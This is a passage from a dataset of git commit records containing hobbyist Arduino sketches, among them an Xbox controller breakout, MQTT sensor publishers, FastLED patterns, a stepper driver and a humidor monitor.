Xbox Controller S breakout board by Madtoyslab.\n \n The breakout simulate a player's controls, using hardware wirings & circuitry to manipulate the signals goin to the Xobx Controller's onboard uC\n It bypasses the Xbox check for \"valid\" Xbox controllers as to the Xbox Controller's onboard uC, the inputs are coming from the standard controls\n \n Allows to plug any controller ( keyboard, mouse, Arduino, custom, .. ) to an Xbox with unlimited \"controls mapping\" possibilities\n \n R: \n if you just wanna use an Xbox Controller S on a laptop, just cut the controller's cable & rewire the wires for USB ( lefting one alone unused )\n the breakout does the opposite, aka allows to control an Xbox from a laptop as it'd be a native Xbox Controller [ nb: actually passing signals from the laptop \"through\" it ;p ]\n \n Created by Stephane ADAM GARNIER - 2015\n Released under the MIT license\n \n version: 0.01a\n*\/\n\n\n\/* include our library header file *\/\n#include \"Madtoyslab_XboxControllerS.h\"\n\n\n\/* instance(s) of the library *\/\nMadtoyslab_XboxControllerS xboxController(13); \/\/ pass pin D13\n\n\nvoid setup(){\n xboxController.init();\n}\n\n\nvoid loop(){\n xboxController.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/Madtoyslab_XboxControllerS\/examples\/Example1\/Example1.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b141af8a0fa0f70b7b7162415f3603bec7c0f4e3","subject":"Create dht22_ds18b20.ino","message":"Create dht22_ds18b20.ino","repos":"pumanzor\/iot-redlibre,pumanzor\/iot-redlibre","old_file":"dragino\/dht22_ds18b20.ino","new_file":"dragino\/dht22_ds18b20.ino","new_contents":"\n#include <Process.h>\n#include \"MQTTclient.h\"\n#include \"DHT.h\"\n#include <OneWire.h> \n#include <DallasTemperature.h>\n\n\n#define ONE_WIRE_BUS_PIN A3\nfloat tempC2 = 0;\nfloat tempC3 = 0;\nunsigned long time;\n\nOneWire oneWire(ONE_WIRE_BUS_PIN);\nDallasTemperature sensors(&oneWire);\n\/\/DeviceAddress probe01 = {0x28, 0xC7, 0xEB, 0xF0, 0x05, 0x00, 0x00, 0xEA};\n\n#define MQTT_HOST \"190.97.168.236\" \n#define DHTPIN A0 \n\/\/#define DHTPIN2 A1\n\n#define DHTTYPE DHT22 \/\/ DHT 22 (AM2302)\nDHT dht(DHTPIN, DHTTYPE);\n\/\/DHT dht2(DHTPIN2, DHTTYPE);\n\n\nchar message_buff[100];\nchar message_buff2[100];\nchar message[256];\nString id_sensor = \"prueba5\";\n\n\nfloat t2;\n\n\n\nvoid setup() {\n \n Serial.begin(9600);\n Bridge.begin();\n mqtt.begin(MQTT_HOST, 1883);\n dht.begin();\n sensors.begin(); \n \/\/sensors.setResolution(probe01, 10);\n \n mqtt.subscribe(\"rr\/temp\", someEvent);\n\n\n}\n\n\nvoid loop() {\n float h = dht.readHumidity();\n float t = dht.readTemperature();\n\n sensors.requestTemperatures();\n \n tempC2 = sensors.getTempCByIndex(0),4;\n \/\/tempC2 = sensors.getTempC(probe01);\n \n if (isnan(t) || isnan(h)) {\n Serial.println(\"Failed to from DHT\");\n mqtt.publish(\"test\/temp\",\"error de lectura NAN temp o humi\" );\n }\n \n else if (t == 0.00 && h == 0.00)\n \n {\n Serial.println(\"Failed to from DHT\");\n mqtt.publish(\"test\/temp\",\"error de lectura, en cero Temp y humi\" );\n }\n \n else if (tempC2 == -127.00)\n \n {\n Serial.println(\"Failed to from DHT\");\n mqtt.publish(\"test\/temp\",\"error de lectura ds18b20 -127.00\" );\n }\n \n \n else {\n \n \n if (millis() > (time + 5000)) {\n time = millis();\n \n String pubString = \"\" + String(t) + \",\" + String(tempC2) + \",\" + String(h) + \",\" + id_sensor + \"\";\n pubString.toCharArray(message_buff, pubString.length()+1);\n mqtt.publish(\"test\/temp\",message_buff );\n\n }\n else{\n \n mqtt.monitor();\n }\n }\n\n}\n\nvoid someEvent(const String& topic, const String& subtopic, const String& message) {\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'dragino\/dht22_ds18b20.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"988e88e8dbdd15628c776731b9a20e317307c5bc","subject":"Create DemoReel100_RandomShiftedGlitter.ino","message":"Create DemoReel100_RandomShiftedGlitter.ino","repos":"marmilicious\/FastLED_examples","old_file":"DemoReel100_RandomShiftedGlitter.ino","new_file":"DemoReel100_RandomShiftedGlitter.ino","new_contents":"\/\/***************************************************************\n\/\/ Two rainbow glitter patterns with color glitter instead of\n\/\/ white glitter. One picks random colors, the other slightly\n\/\/ shifts the hue of whatever pixel is randomly selected.\n\/\/\n\/\/ These can be added to Mark Kreigman's DemoReel100 example as\n\/\/ additional patterns to run. Copy lines 25 and 26 as well\n\/\/ as the two patterns below to your DemoReel100 program.\n\/\/\n\/\/ Marc Miller, Oct 2016\n\/\/***************************************************************\n\n#include \"FastLED.h\"\nFASTLED_USING_NAMESPACE\n\n#define DATA_PIN 11\n#define CLK_PIN 13\n#define LED_TYPE APA102\n#define COLOR_ORDER BGR\n#define NUM_LEDS 38\n#define BRIGHTNESS 96\n#define FRAMES_PER_SECOND 120\nCRGB leds[NUM_LEDS];\n\nuint16_t ledsData[NUM_LEDS][4]; \/\/ array to store RGB data and an extra value\nuint16_t pick; \/\/ stores a temporary pixel number\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(3000); \/\/ 3 second delay for recovery\n \/\/FastLED.addLeds<LED_TYPE,DATA_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.addLeds<LED_TYPE,DATA_PIN,CLK_PIN,COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n FastLED.setBrightness(BRIGHTNESS);\n}\n\n\/\/---------------------------------------------------------------\n\/\/ List of patterns to cycle through. Each is defined as a separate function below.\ntypedef void (*SimplePatternList[])();\n\nSimplePatternList gPatterns = { rainbowShiftedGlitter, rainbowRandomGlitter };\n\nuint8_t gCurrentPatternNumber = 0; \/\/ Index number of which pattern is current\nuint8_t gHue = 0; \/\/ rotating \"base color\" used by many of the patterns\n\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \/\/ Call the current pattern function once, updating the 'leds' array\n gPatterns[gCurrentPatternNumber]();\n\n FastLED.show(); \n FastLED.delay(1000\/FRAMES_PER_SECOND); \/\/ slows the framerate to a modest value\n\n \/\/ do some periodic updates\n EVERY_N_MILLISECONDS( 20 ) { gHue++; } \/\/ slowly cycle the \"base color\" through the rainbow\n EVERY_N_SECONDS( 10 ) { nextPattern(); } \/\/ change patterns periodically\n}\n\n\n\/\/---------------------------------------------------------------\n#define ARRAY_SIZE(A) (sizeof(A) \/ sizeof((A)[0]))\nvoid nextPattern()\n{\n \/\/ add one to the current pattern number, and wrap around at the end\n gCurrentPatternNumber = (gCurrentPatternNumber + 1) % ARRAY_SIZE( gPatterns);\n}\n\n\n\n\/\/===============================================================\n\/\/ The different patterns to choose from...\n\/\/===============================================================\n\/\/---------------------------------------------------------------\nvoid rainbowRandomGlitter() {\n fill_rainbow( leds, NUM_LEDS, gHue, 7);\n if( random8() < 45 ) { \/\/ How often to glitter things up! Higher number is more often.\n pick = random16(NUM_LEDS);\n if (ledsData[pick][3] == 0 ) {\n ledsData[pick][3] = 40; \/\/ Used to tag pixel and determine glitter time\n ledsData[pick][0] = random8(); \/\/ Pick random rgb values\n ledsData[pick][1] = random8();\n ledsData[pick][2] = random8();\n }\n }\n for (uint16_t i=0; i < NUM_LEDS; i++) {\n if (ledsData[i][3] == 0) {\n leds[i].fadeToBlackBy(180); \/\/ Fade down non-glittering pixels so glitter will show up more\n } else {\n \/\/leds[i] = CRGB(ledsData[i][0], ledsData[i][1], ledsData[i][2]); \/\/ Plug in rgb values\n leds[i].fadeToBlackBy(8); \/\/ Slowly fade down\n ledsData[i][0] = leds[i].r; \/\/ Store the rgb values back in ledsData array\n ledsData[i][1] = leds[i].g;\n ledsData[i][2] = leds[i].b;\n ledsData[i][3] = ledsData[i][3] - 1;\n }\n }\n}\/\/end rainbowRandomGlitter\n\n\n\/\/---------------------------------------------------------------\nvoid rainbowShiftedGlitter() {\n fill_rainbow( leds, NUM_LEDS, gHue, 3);\n if( random8() < 30 ) { \/\/ How often to glitter things up! Higher number is more often.\n pick = random16(NUM_LEDS);\n if (ledsData[pick][3] == 0 ) {\n ledsData[pick][3] = 35; \/\/ Used to tag pixel and determine glitter time\n CRGB rgb(leds[pick].r, leds[pick].g, leds[pick].b);\n CHSV hsv = rgb2hsv_approximate(rgb); \/\/ Used to get approx Hue\n leds[pick] = CHSV(hsv.hue-50, 255, 255); \/\/ Color shift Hue on glitter pixel\n ledsData[pick][0] = leds[pick].r; \/\/ Store rgb values back in ledsData array\n ledsData[pick][1] = leds[pick].g;\n ledsData[pick][2] = leds[pick].b;\n }\n }\n for (uint16_t i=0; i < NUM_LEDS; i++) {\n if (ledsData[i][3] == 0) {\n leds[i].fadeToBlackBy(180); \/\/ Fade down non-glittering pixels so glitter will show up more\n } else {\n leds[i] = CRGB(ledsData[i][0], ledsData[i][1], ledsData[i][2]); \/\/ Plug in rgb values\n leds[i].fadeToBlackBy(7); \/\/ Slowly fade down\n ledsData[i][0] = leds[i].r; \/\/ Store the rgb values back in ledsData array\n ledsData[i][1] = leds[i].g;\n ledsData[i][2] = leds[i].b;\n ledsData[i][3] = ledsData[i][3] - 1;\n }\n }\n}\/\/end rainbowShiftedGlitter\n\n\n\n\/\/---------------------------------------------------------------\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DemoReel100_RandomShiftedGlitter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"535825f7de47b1376ad672c3c1079190c603bc43","subject":"Shouldn't it be Time.hour, not Time.minute?","message":"Shouldn't it be Time.hour, not Time.minute?\n\nNice project btw. Was just skimming the code to see how it worked, and saw that you were comparing the sunrise hours with the current minute... not sure that was quite what you intended ;)","repos":"JeanPierreFig\/SunRiseLamp","old_file":"SunRiseLamp.ino","new_file":"SunRiseLamp.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JeanPierreFig\/SunRiseLamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"3cfde8a367524ce36f3ad74cb5fd257f33cef8f0","subject":"Commit for Setting up the Master and Ordinary Files in SD card","message":"Commit for Setting up the Master and Ordinary Files in SD card\n","repos":"TheBeachMaster\/DemoIOT","old_file":"IOTSln\/William_Code\/William_Code.ino","new_file":"IOTSln\/William_Code\/William_Code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/TheBeachMaster\/DemoIOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0ab9c910e2787b1047cc232eb63fc9158722b001","subject":"Add Arduino example - 28BYJ-48 stepper motor controller.","message":"Add Arduino example - 28BYJ-48 stepper motor controller.\n","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog","old_file":"arduino\/uno\/004_28byj48_stepper_motor_controller\/004_28byj48_stepper_motor_controller.ino","new_file":"arduino\/uno\/004_28byj48_stepper_motor_controller\/004_28byj48_stepper_motor_controller.ino","new_contents":"\n\/**\n * Copyright (c) 2019, \u0141ukasz Marcin Podkalicki <lpodkalicki@gmail.com>\n * ArduinoUno\/004\n * Example of stepper motor (28BYJ-48) controller. \n *\/\n \nclass StepperMotor {\n public:\n StepperMotor(uint8_t _in1, uint8_t _in2, uint8_t _in3, uint8_t _in4):\n in1(_in1), in2(_in2), in3(_in3), in4(_in4) {\n pinMode(in1, OUTPUT);\n pinMode(in2, OUTPUT);\n pinMode(in3, OUTPUT);\n pinMode(in4, OUTPUT);\n dir = 1;\n seq = 0;\n }\n\n \/* Move one step *\/\n void move(void) {\n seq = (seq + (dir?1:-1)) & 7;\n\n switch (seq) {\n \/* Pattern for 8 microsteps: A-AB-B-BC-C-CD-D-DA *\/\n \/* [ A ][ B ][ C ][ D ] *\/\n case 0: digitalWrite(in1,1);digitalWrite(in2,0);digitalWrite(in3,0);digitalWrite(in4,0);break;\n case 1: digitalWrite(in1,1);digitalWrite(in2,1);digitalWrite(in3,0);digitalWrite(in4,0);break;\n case 2: digitalWrite(in1,0);digitalWrite(in2,1);digitalWrite(in3,0);digitalWrite(in4,0);break; \n case 3: digitalWrite(in1,0);digitalWrite(in2,1);digitalWrite(in3,1);digitalWrite(in4,0);break;\n case 4: digitalWrite(in1,0);digitalWrite(in2,0);digitalWrite(in3,1);digitalWrite(in4,0);break;\n case 5: digitalWrite(in1,0);digitalWrite(in2,0);digitalWrite(in3,1);digitalWrite(in4,1);break; \n case 6: digitalWrite(in1,0);digitalWrite(in2,0);digitalWrite(in3,0);digitalWrite(in4,1);break; \n case 7: digitalWrite(in1,1);digitalWrite(in2,0);digitalWrite(in3,0);digitalWrite(in4,1);break;\n }\n }\n\n \/* Set direction. \n 1 - clock wise\n 0 - counter clock wise\n *\/\n void setDir(uint8_t _dir) {\n dir = !!_dir;\n }\n \n private:\n uint8_t in1;\n uint8_t in2;\n uint8_t in3;\n uint8_t in4;\n uint8_t dir;\n uint8_t seq;\n};\n\nStepperMotor stepper(0, 1, 2, 3);\n\nvoid setup() {\n \/\/ do nothing\n}\n\nvoid loop() {\n uint8_t dir = 1;\n while (1) {\n \/* Do full turn *\/\n for (uint16_t i = 0; i < 4096; ++i) {\n stepper.move();\n delay(1); \/\/ max 100Hz (1ms)\n }\n \/* Change direction *\/\n stepper.setDir(dir^=1);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/uno\/004_28byj48_stepper_motor_controller\/004_28byj48_stepper_motor_controller.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"efb4351e63f41360cefe7108e1821412242b0014","subject":"Program is working","message":"Program is working\n","repos":"Omemanti\/MantiOT","old_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_file":"Sketches\/Manti_Irrigation_Controller\/Manti_Irrigation_Controller.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Omemanti\/MantiOT.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9d1f67d665034797fd030faa083883b26b8aaa15","subject":"add sketch_radar_detecting.ino","message":"add sketch_radar_detecting.ino\n","repos":"yunbademo\/yunba-radar-detecting,yunbademo\/yunba-radar-detecting","old_file":"sketch_radar_detecting\/sketch_radar_detecting.ino","new_file":"sketch_radar_detecting\/sketch_radar_detecting.ino","new_contents":"#include <ArduinoJson.h>\n#include <LGPRS.h>\n#include <LGPRSClient.h>\n#include <LBattery.h>\n#include <LGPS.h>\n#include <MQTTClient.h>\n\n#define JSON_BUF_SIZE 1024\n\ntypedef enum {\n STATUS_INVALID,\n STATUS_INIT_GPRS,\n STATUS_INIT_YUNBA,\n STATUS_IDLE,\n} STATUS;\n\nstatic STATUS g_status = STATUS_INVALID;\n\nstatic bool g_need_report = true;\n\nstatic const char *g_gprs_apn = \"3gnet\";\nstatic const char *g_gprs_username = \"\";\nstatic const char *g_gprs_password = \"\";\n\nstatic const char *g_appkey = \"56a0a88c4407a3cd028ac2fe\";\nstatic const char *g_alias = \"test_detector\";\nstatic const char *g_report_topic = \"radar_detecting\";\n\nstatic char g_client_id[64];\nstatic char g_username[32];\nstatic char g_password[32];\n\nstatic LGPRSClient g_net_client;\nstatic MQTTClient g_mqtt_client;\n\nstatic unsigned long g_last_report_ms = 0;\n\nstatic unsigned long g_check_net_ms = 0;\n\nstatic bool get_ip_port(const char *url, char *ip, uint16_t *port) {\n char *p = strstr(url, \"tcp:\/\/\");\n if (p) {\n p += 6;\n char *q = strstr(p, \":\");\n if (q) {\n int len = strlen(p) - strlen(q);\n if (len > 0) {\n memcpy(ip, p, len);\n *port = atoi(q + 1);\n Serial.println(\"ip: \" + String(ip) + \", port: \" + String(*port));\n return true;\n }\n }\n }\n return false;\n}\n\nstatic bool get_host_v2(const char *appkey, char *url) {\n uint8_t buf[256];\n bool rc = false;\n LGPRSClient net_client;\n Serial.println(\"connect tick\");\n while (!net_client.connect(\"tick-t.yunba.io\", 9977)) {\n Serial.println(\".\");\n delay(1000);\n }\n\n String data = \"{\\\"a\\\":\\\"\" + String(appkey) + \"\\\",\\\"n\\\":\\\"1\\\",\\\"v\\\":\\\"v1.0\\\",\\\"o\\\":\\\"1\\\"}\";\n int json_len = data.length();\n int len;\n\n buf[0] = 1;\n buf[1] = (uint8_t)((json_len >> 8) & 0xff);\n buf[2] = (uint8_t)(json_len & 0xff);\n len = 3 + json_len;\n memcpy(buf + 3, data.c_str(), json_len);\n net_client.flush();\n net_client.write(buf, len);\n\n Serial.println(\"wait data\");\n while (!net_client.available()) {\n Serial.println(\".\");\n delay(200);\n }\n\n memset(buf, 0, 256);\n int v = net_client.read(buf, 256);\n if (v > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n if (len == strlen((char *)(buf + 3))) {\n Serial.println((char *)(&buf[3]));\n StaticJsonBuffer<JSON_BUF_SIZE> json_buf;\n JsonObject& root = json_buf.parseObject((char *)&buf[3]);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n goto exit;\n }\n strcpy(url, root[\"c\"]);\n Serial.println(url);\n rc = true;\n }\n }\nexit:\n net_client.stop();\n return rc;\n}\n\nstatic bool setup_with_appkey_and_device_id(const char* appkey, const char *device_id) {\n uint8_t buf[256];\n bool rc = false;\n LGPRSClient net_client;\n\n Serial.println(\"connect reg\");\n while (!net_client.connect(\"reg-t.yunba.io\", 9944)) {\n Serial.println(\".\");\n delay(1000);\n }\n\n String data;\n if (device_id == NULL)\n data = \"{\\\"a\\\": \\\"\" + String(appkey) + \"\\\", \\\"p\\\":4}\";\n else\n data = \"{\\\"a\\\": \\\"\" + String(appkey) + \"\\\", \\\"p\\\":4, \\\"d\\\": \\\"\" + String(device_id) + \"\\\"}\";\n int json_len = data.length();\n int len;\n\n buf[0] = 1;\n buf[1] = (uint8_t)((json_len >> 8) & 0xff);\n buf[2] = (uint8_t)(json_len & 0xff);\n len = 3 + json_len;\n memcpy(buf + 3, data.c_str(), json_len);\n net_client.flush();\n net_client.write(buf, len);\n\n Serial.println(\"wait data\");\n while (!net_client.available()) {\n Serial.println(\".\");\n delay(200);\n }\n\n memset(buf, 0, 256);\n int v = net_client.read(buf, 256);\n if (v > 0) {\n len = (uint16_t)(((uint8_t)buf[1] << 8) | (uint8_t)buf[2]);\n if (len == strlen((char *)(buf + 3))) {\n Serial.println((char *)(&buf[3]));\n StaticJsonBuffer<JSON_BUF_SIZE> json_buf;\n JsonObject& root = json_buf.parseObject((char *)&buf[3]);\n if (!root.success()) {\n Serial.println(\"parseObject() failed\");\n net_client.stop();\n return false;\n }\n strcpy(g_username, root[\"u\"]);\n strcpy(g_password, root[\"p\"]);\n strcpy(g_client_id, root[\"c\"]);\n rc = true;\n }\n }\n\n net_client.stop();\n return rc;\n}\n\nstatic void set_alias(const char *alias) {\n g_mqtt_client.publish(\",yali\", alias);\n}\n\nstatic void init_gprs() {\n Serial.println(\"attaching gprs\");\n while (!LGPRS.attachGPRS(g_gprs_apn, g_gprs_username, g_gprs_password)) {\n Serial.println(\".\");\n delay(1000);\n }\n Serial.println(\"gprs ok\");\n LGPS.powerOn();\n delay(100);\n g_status = STATUS_INIT_YUNBA;\n}\n\nstatic void init_yunba() {\n char url[32] = {0};\n char ip[32] = {0};\n uint16_t port = 0;\n\n Serial.println(\"get_host_v2\");\n get_host_v2(g_appkey, url);\n Serial.println(\"setup_with_appkey_and_device_id\");\n setup_with_appkey_and_device_id(g_appkey, g_alias);\n Serial.println(\"get_ip_port\");\n get_ip_port(url, ip, &port);\n Serial.println(\"mqtt begin\");\n g_mqtt_client.begin(ip, 1883, g_net_client);\n\n Serial.println(\"mqtt connect\");\n while (!g_mqtt_client.connect(g_client_id, g_username, g_password)) {\n Serial.println(\".\");\n LGPRS.attachGPRS(g_gprs_apn, g_gprs_username, g_gprs_password);\n delay(200);\n }\n\n Serial.println(\"yunba ok\");\n \/\/ set_alias(g_alias);\n\n g_status = STATUS_IDLE;\n}\n\nstatic void check_need_report() {\n if (millis() - g_last_report_ms > 10000) {\n g_last_report_ms = millis();\n g_need_report = true;\n }\n}\n\nstatic void handle_report() {\n if (!g_need_report) {\n return;\n }\n\n StaticJsonBuffer<JSON_BUF_SIZE> json_buf;\n JsonObject& root = json_buf.createObject();\n\n root[\"battery\"] = 0;\n\n JsonArray& json_array = root.createNestedArray(\"cell\");\n\n String json;\n root.printTo(json);\n\n Serial.println(\"publish: \" + json);\n g_mqtt_client.publish(g_report_topic, json);\n\n g_need_report = false;\n}\n\nstatic void check_network() {\n if (millis() - g_check_net_ms > 30000) {\n if (!g_mqtt_client.connected()) {\n Serial.println(\"mqtt connection failed, try reconnect\");\n LGPS.powerOff();\n g_status = STATUS_INIT_YUNBA;\n } else {\n Serial.println(\"mqtt connection is ok\");\n }\n g_check_net_ms = millis();\n }\n}\n\n\/* messageReceived and extMessageReceived must be defined with no 'static', because MQTTClient use them *\/\nvoid messageReceived(String topic, String payload, char *bytes, unsigned int length) {\n Serial.println(\"msg: \" + topic + \", \" + payload);\n}\n\nvoid extMessageReceived(EXTED_CMD cmd, int status, String payload, unsigned int length) {\n \/\/ Serial.println(\"ext msg: \" + String(cmd) + \", \" + payload);\n}\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n delay(5000);\n Serial.println(\"setup...\");\n g_status = STATUS_INIT_GPRS;\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n \/\/ Serial.println(\"loop...\");\n switch (g_status) {\n case STATUS_INIT_GPRS:\n init_gprs();\n break;\n case STATUS_INIT_YUNBA:\n init_yunba();\n break;\n case STATUS_IDLE:\n g_mqtt_client.loop();\n check_need_report();\n handle_report();\n check_network();\n break;\n default:\n Serial.println(\"unknown status: \" + g_status);\n break;\n }\n delay(20);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketch_radar_detecting\/sketch_radar_detecting.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eb9548a1f4b813e736d962d09b53592d9fc4ef35","subject":"adds door trigger example","message":"adds door trigger example\n","repos":"adafruit\/adafruit-io-basics,adafruit\/adafruit-io-basics","old_file":"esp8266\/trigger\/trigger.ino","new_file":"esp8266\/trigger\/trigger.ino","new_contents":"#include <ESP8266WiFi.h>\n#include \"Adafruit_IO_Client.h\"\n\n\/\/ door gpio pin\n#define DOOR 13\n\n\/\/ wifi credentials\n#define WLAN_SSID \"...your SSID...\"\n#define WLAN_PASS \"...your password...\"\n\n\/\/ Configure Adafruit IO access.\n#define AIO_KEY \"...your AIO key...\"\n\nWiFiClient client;\n\n\/\/ Create an Adafruit IO Client instance. Notice that this needs to take a\n\/\/ WiFiClient object as the first parameter, and as the second parameter a\n\/\/ default Adafruit IO key to use when accessing feeds (however each feed can\n\/\/ override this default key value if required, see further below).\nAdafruit_IO_Client aio = Adafruit_IO_Client(client, AIO_KEY);\n\n\/\/ Finally create instances of Adafruit_IO_Feed objects, one per feed. Do this\n\/\/ by calling the getFeed function on the Adafruit_IO_FONA object and passing\n\/\/ it at least the name of the feed, and optionally a specific AIO key to use\n\/\/ when accessing the feed (the default is to use the key set on the\n\/\/ Adafruit_IO_Client class).\nAdafruit_IO_Feed door = aio.getFeed(\"door\");\n\nvoid setup() {\n\n pinMode(DOOR, INPUT_PULLUP);\n\n \/\/ if door isn't open, we don't need to send anything\n if(digitalRead(DOOR) == LOW) {\n \/\/ sleep a couple seconds before checking again\n ESP.deepSleep(2000000, WAKE_RF_DISABLED);\n return;\n }\n\n \/\/ wifi init\n WiFi.begin(WLAN_SSID, WLAN_PASS);\n\n \/\/ wait for connection\n while (WiFi.status() != WL_CONNECTED)\n delay(500);\n\n\n \/\/ AIO init\n aio.begin();\n\n \/\/ send value to AIO\n door.send(\"1\");\n\n \/\/ sleep for a couple seconds\n ESP.deepSleep(2000000, WAKE_RF_DISABLED);\n\n}\n\n\/\/ noop\nvoid loop() {}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266\/trigger\/trigger.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b43819c70bf04e74bfb4ce1cf1629af520e29eba","subject":"add newline","message":"add newline\n\nsee also http:\/\/www.stm32duino.com\/viewtopic.php?f=3&t=695\n","repos":"smurfix\/embello,smurfix\/embello,jeelabs\/embello,smurfix\/embello,tve\/embello,tve\/embello,jeelabs\/embello,jeelabs\/embello,jeelabs\/embello,jeelabs\/embello,tve\/embello","old_file":"projects\/rnw\/hello\/hello.ino","new_file":"projects\/rnw\/hello\/hello.ino","new_contents":"\/\/ Periodically send the timer value to the HY-TinySTM103 serial port.\n\nvoid setup () {\n Serial.begin(115200);\n Serial.println(\"[hello]\");\n}\n\nvoid loop () {\n Serial.println(millis());\n delay(1000);\n}\n","old_contents":"\/\/ Periodically send the timer value to the HY-TinySTM103 serial port.\n\nvoid setup () {\n Serial.begin(115200);\n Serial.print(\"[hello]\");\n}\n\nvoid loop () {\n Serial.println(millis());\n delay(1000);\n}\n","returncode":0,"stderr":"","license":"unlicense","lang":"Arduino"} {"commit":"fbf3e9ce2e86a46edf9fccf31d7f5fed81f857ce","subject":"Intro Angepasst und Erweitert","message":"Intro Angepasst und Erweitert\n","repos":"Brawn1\/Humidor_monitoring,Brawn1\/Humidor_monitoring,Brawn1\/Humidor_monitoring,Brawn1\/Humidor_monitoring","old_file":"Arduino_Humidor_Monitoring\/Arduino_Humidor_Monitoring.ino","new_file":"Arduino_Humidor_Monitoring\/Arduino_Humidor_Monitoring.ino","new_contents":"\/*\n * Humidor \u00dcberwachung mit einem Arduino Nano v3 und einem ESP8266 WIFI Modul.\n * \n * Der Arduino Nano wertet die Sensorendaten von Luftfeuchtigkeit und Temperatur aus, und falls es einen Grenzwert\n * unterschreitet, \u00f6ffnet es die Befeuchtungskammer und schaltet einen L\u00fcfter ein. \n * \n * Somit erzeugt es die richtige Luftfeuchtigkeit im Humidor.\n * \n * Als zusatz wird noch ein OLED Display am Humidor eingebaut um den derzeitigen Status anzuzeigen.\n * \n * Arduino Nano V3 Pinbelegung:\n * ----------------------------\n * VCC = 5V\n * GND = GND\n * D2 = TX Pin ESP8266 WIFI\n * D3 = RX Pin ESP8266 WIFI\n * 3.3V= VCC ESP8266 WIFI\n * ---\n * D4 = DHT11 Sensor\n * ---\n * A4 = I2C OLED Display (SDA)\n * A5 = I2C OLED Display (SCL)\n * ---\n * D5 = (PWM) Servo Motor\n * D7 = 5V L\u00fcfter (Optional)\n * ---\n * D8 = LED (Activity)\n * D12 = LED (Power)\n * ---\n * \n * OLED Display SSD1306:\n * ---------------------\n * VCC = 3.3V\n * GND = Ground\n * SCL = SCL (I2C)\n * SDA = SDA (I2C)\n * \n * Servo Motor:\n * ------------\n * VCC (Red) = 5V\n * GND (Black = Ground\n * Control (Yellow) = D5 (PWM)\n * \n * \n MIT License:\n Copyright (c) 2017 G\u00fcnter Bailey\n\n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated\n documentation files (the \"Software\"), to deal in the Software without restriction,\n including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\n and\/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,\n subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\n INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n MIT Lizenz in Deutsch:\n Copyright (c) 2017 G\u00fcnter Bailey\n\n Hiermit wird unentgeltlich jeder Person, die eine Kopie der Software und der zugeh\u00f6rigen Dokumentationen (die \"Software\") erh\u00e4lt,\n die Erlaubnis erteilt, sie uneingeschr\u00e4nkt zu nutzen, inklusive und ohne Ausnahme mit dem Recht, sie zu verwenden,\n zu kopieren, zu ver\u00e4ndern, zusammenzuf\u00fcgen, zu ver\u00f6ffentlichen, zu verbreiten, zu unterlizenzieren und\/oder zu verkaufen,\n und Personen, denen diese Software \u00fcberlassen wird, diese Rechte zu verschaffen, unter den folgenden Bedingungen:\n\n Der obige Urheberrechtsvermerk und dieser Erlaubnisvermerk sind in allen Kopien oder Teilkopien der Software beizulegen.\n DIE SOFTWARE WIRD OHNE JEDE AUSDR\u00dcCKLICHE ODER IMPLIZIERTE GARANTIE BEREITGESTELLT,\n 